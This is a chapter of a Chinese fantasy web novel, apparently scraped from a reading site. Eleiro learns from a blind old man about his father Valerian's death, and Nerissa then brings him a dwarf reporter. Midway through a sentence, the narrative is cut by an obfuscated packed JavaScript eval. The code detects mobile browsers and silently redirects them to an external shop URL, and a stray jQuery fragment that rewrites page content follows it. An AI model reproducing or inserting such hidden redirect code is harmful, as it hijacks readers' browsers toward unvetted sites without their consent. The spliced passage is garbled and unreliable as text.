以格海姆自称的老者在絮絮叨叨说完了自己无人倾听的往事后,像是才想起埃莱罗许久都没有开口说话,他抬头,用只能朦朦胧胧感受到一点光亮的眼睛,注视着大概有个人影所在的方向,微笑着问道:“年轻的孩子,你还有什么想要问的吗?”
埃莱罗双手交叠,无意识摩擦着指关节,他低垂着头不知道在思考些什么,语气是前所未有的冷静:“我想知道,塞弗里乌斯在其中扮演了什么样的角色?”
“塞弗里乌斯?”老者疑惑地重复了一遍这个陌生的名字,随后恍然大悟般开口,“你是说魔导士协会那位首席魔导士吧,很可惜,在我所了解到的部分真相中,这位魔导士并没有参与其中,硬要说有什么的话,他可能清楚药剂存在问题,却没有制止,但像他那样的大人物,普通平民的生命对他来说远比不上索莱尔家族带来的助力。”
埃莱罗深吸一口气,这就是问题的所在:“贝娅女士说,我的父亲,瓦列里安,死于塞弗里乌斯的手中。”
老者明显是不认同这个结论,他连连摇头:“我不这么认为,相比起这位魔导士大人,我想索莱尔家族更有嫌疑,也更有动手的理由。”
埃莱罗了然:“所以你们也没有证据证明,谁才是真正杀死我父亲的凶手。”
说完,埃莱罗长长叹了一口气,尽管塞弗里乌斯的嫌疑并没有排除,但至少他已经清楚,比阿特丽斯也好,格海姆也好,当年的事他们也知道部分情况,其他的事情只是自己根据了解到的信息自己推断出来的,但现在他更在意那件事:“您之前说,我父亲说过,塞弗里乌斯带回来一位各方面都符合德米特里实验要求的女孩,您知不知道,或者有没有听说过德米特里要做的实验,是要从其中想要得到什么?”
老者久久没有说话,半阖着眼想是在过往的回忆中捞取那些快要消散的信息,不知等了多久,终于老者睁开了眼:“很抱歉,我只从瓦列里安那里听来些只言片语,唯一知道的是魔导士协会想要人为造出一位魔王,一位只听从他们的魔王,但我不知道这件事和德米特里有没有关系。”
“谢谢您,很有用。”埃莱罗起身,走到门口的时候回头看了一眼孤零零坐在破旧的木板床的老者,这些人,包括暂居在下水道其他的人们,他们怀揣着一颗向往魔导士的梦想之心,却被天赋挡在门外,但他们不肯离开斯佩尔霍普,好像只要还在这座奇幻绚丽的城市,梦想就还是触手可及。
可是无论如何,梦想都不应该被人拿来利用,他们的痛苦应该有人看见,他们受到的伤害应该有人负责,埃莱罗深吸一口气,对着老者坚定地许诺:“您放心,我一定会尽我最大的努力,让三十多年的惨案重见天日,无论如何,这件事都值得有一个交代。”
老者不可置信地抬头,愣愣地望着声音传来的方向,一行浊泪划过脸上的沟壑,他好像都回到了三十多年前,在他最绝望最无助的时候,想要不管不顾与索莱尔家族同归于尽,瓦列里安出现了,他向他们保证无论如何他都会站在他们这一边,直到死亡。
然后,他真的迎来了死亡,在他许诺的,即将迎来希望的前夜,老者对着埃莱罗离开的背影伸出手,却最后又无能为力的放下,他当然不希望再看见有人因此牺牲,但他心底那团名为仇恨的火焰却始终不曾熄灭。
老者胡乱地在胸口反复划着十字,压抑了许久的心脏再度猛烈跳动起来:“瓦列里安,如果你能听得到的话,请你保佑这个孩子,请你保佑我们……”
而埃莱罗这边,他刚推开头顶的井盖,探出乱糟糟的脑袋时,就被蹲守在一旁的吉尔抓个正着:“真稀奇,大早上饭都不吃一口,就为了钻斯佩尔霍普臭烘烘的下水道?你还真是热爱这座城市。”
埃莱罗尴尬地眨了眨眼,三下五除二撑着地面直接爬了上来,在吉尔探头向下窥看之前用脚带上了井盖:“你怎么知道我在这?”
“哼,”吉尔站直了身体,双手抱臂审视的目光上下打量着埃莱罗,对方昨晚估计都没怎么休息,身上那套看起来就像是艾莉娜娅品味的外套皱皱巴巴,加上又刚从下水道里爬出来,浑身上下都弥漫着一股酸腐味,吉尔有点后悔没喊艾莉娜娅过来了,要是艾莉娜娅看见这样的埃莱罗,气都不气了,直接把人踹进斯佩尔霍普的人工湖底,她没好气地扇了扇飘到鼻前的酸臭空气,略带嫌弃后退一步,“周围能打听的我都打听了个遍,当然,也要感谢一位穿着得体的冒险者钻井盖这件事太让人印象深刻,才让我不至于像昨天一样无功而返。”
“说吧,埃莱罗大人,哨所的贵客,我求求你告诉我你到底在找什么?是昨天丢在哨所的木盒,还是什么斯佩尔霍普的秘宝?到底是什么多么重要的东西能让你放下艾莉娜娅大人不管,跑到臭水沟里把自己搞得臭烘烘的。”
埃莱罗没回答吉尔的话,他身上的气味属实是自己都接受不了,他现在只想回旅店好好冲个澡:“不是什么重要的事,我们先回去吧。”
连着在斯佩尔霍普跑了两天,又看见艾莉娜娅早上那副心神不宁的模样,吉尔现在对埃莱罗的意见达到了顶点,她语气中不免也带上了些阴阳怪气:“别啊,埃莱罗大人,您可是哨所的大人物,您想要找什么和我说一声就行,就算是上刀山下火海,可怜的吉尔也只会说一句‘乐意效劳’。”
埃莱罗脚步一顿,他当然知道吉尔在发泄她的不满,但他还真有事要麻烦哨所,于是顺着吉尔的话往下:“就算我想见塞弗里乌斯·马吉乌斯?”
吉尔想都没想:“就算你想见塞弗里乌斯·马吉乌斯……”
“等等!”后知后觉反应过来的吉尔顾不上嫌弃埃莱罗身上的味道,快步追了上去,“你要见谁?!塞弗里乌斯?!他是你想见就能见的吗?你要知道就算是瑟蕾娜女士也不一定能面见塞弗里乌斯大人!”
“但艾莉娜娅可以。”
就在埃莱罗举着双手接受吉尔的怒火时,前方巷口阴暗处走出了一位被宽大的黑色斗篷覆盖全身的少女,少女摘下笼罩住她大半张脸的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17593445|203574||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
黑色兜帽,露出一张他们俩都不会陌生的脸,正是顶着艾莉娜娅面孔的奈丽莎:“我想,他应该不会拒绝一位离家许久终于愿意见一眼自己的好孙女吧。”
对方在说话的间隙还顺手从巷口揪出一位瑟瑟发抖的矮人,与卡德·阿祖尔那群和石头一样顽固强硬的矮人不同,这位矮人完全颠覆了埃莱罗对矮人的认知,他一出来就抱着脑袋蹲在地上,嘴里大喊着什么上有老下有小愿意给魔导士女士当牛做马只求能放他一马。
吉尔下意识皱眉,急忙给奈丽莎带上兜帽,压低的声音中带上了一丝担忧:“你怎么找到这里的?不是,你怎么跑出来了?”
不过比起这个,埃莱罗更关心这位奈丽莎身边的矮人:“这是?”
奈丽莎倒也没阻止吉尔给自己带上兜帽的行为,她踢了一脚还在喋喋不休的矮人,后者瞬间安静下来:“听过《罐罐秘嗅》吗?没听过也很正常,毕竟这份报纸早就因为销售不佳而关门大吉,不过我相信埃莱罗应该对这份报纸,以及当时负责撰写这份报纸新闻的小道记者‘罐罐’很有兴趣。”
埃莱罗望向吉尔,对方摊开手,耸了耸肩表示自己也不清楚,随后奈丽莎继续补充道:“十三年前,这份没什么营养价值专门挖掘魔导士私密的报纸报道了一份关于索莱尔家族的丑闻,”
埃莱罗的双目猛地瞪大,他已经猜到了奈丽莎要说的事情,而奈丽莎还在继续:“瓦列里安·索莱尔,前索莱尔家族的继承人,在自愿放弃继承权后十二年后再度出现在斯佩尔霍普,在人们纷纷猜测他是不是要重新拿回继承权的时候,瓦列里安·索莱尔离奇失踪,至今下落不明。”
吉尔不明所以望向埃莱罗,这件事她倒是略有耳闻,但是她有点不太能将这桩贵族间很常见的家族丑闻和埃莱罗联系起来,但她没有贸然开口,而是听着奈丽莎继续说道:“几天后,一位名为玛瑞娜·布鲁尔公开指控塞弗里乌斯·马吉乌斯杀害了自己的丈夫,遭魔导士协会驱逐后不见踪迹。”
“而埃莱罗·布鲁尔,如果我没有记错的话,我的战士,埃莱罗,你的父亲的名字正是瓦列里安,世上会有这么巧合的事吗?”奈丽莎勾唇轻笑,而一直身处在局势之外的吉尔此时在突然惊醒,她不敢置信地望向埃莱罗,这些天对方的奇怪举动在她这里都有了答案,可埃莱罗只是握紧了垂在身体两侧的双手,一言不发继续听奈丽莎继续往下:“所以我帮你找到了‘罐罐’,不用谢我,这是你的魔导士举手之劳的事,哦,吉尔小姐,我需要表扬一下哨所的办事效率,我非常满意,现在到你开口的时间了,‘罐罐’先生。”
埃莱罗的目光并没有落在瑟瑟发抖的矮人身上,而是审视着站在他面前的奈丽莎,没有感恩戴德,也没有因被发现秘密后的气急败坏,他很平静,但平静之中能听出一丝怒意:“她知道这件事吗?”
他们都心知肚明,埃莱罗在问什么,当然是还在旅馆的真正的艾莉娜娅,奈丽莎歪着脑袋轻笑一声:“你觉得呢?埃莱罗大人。”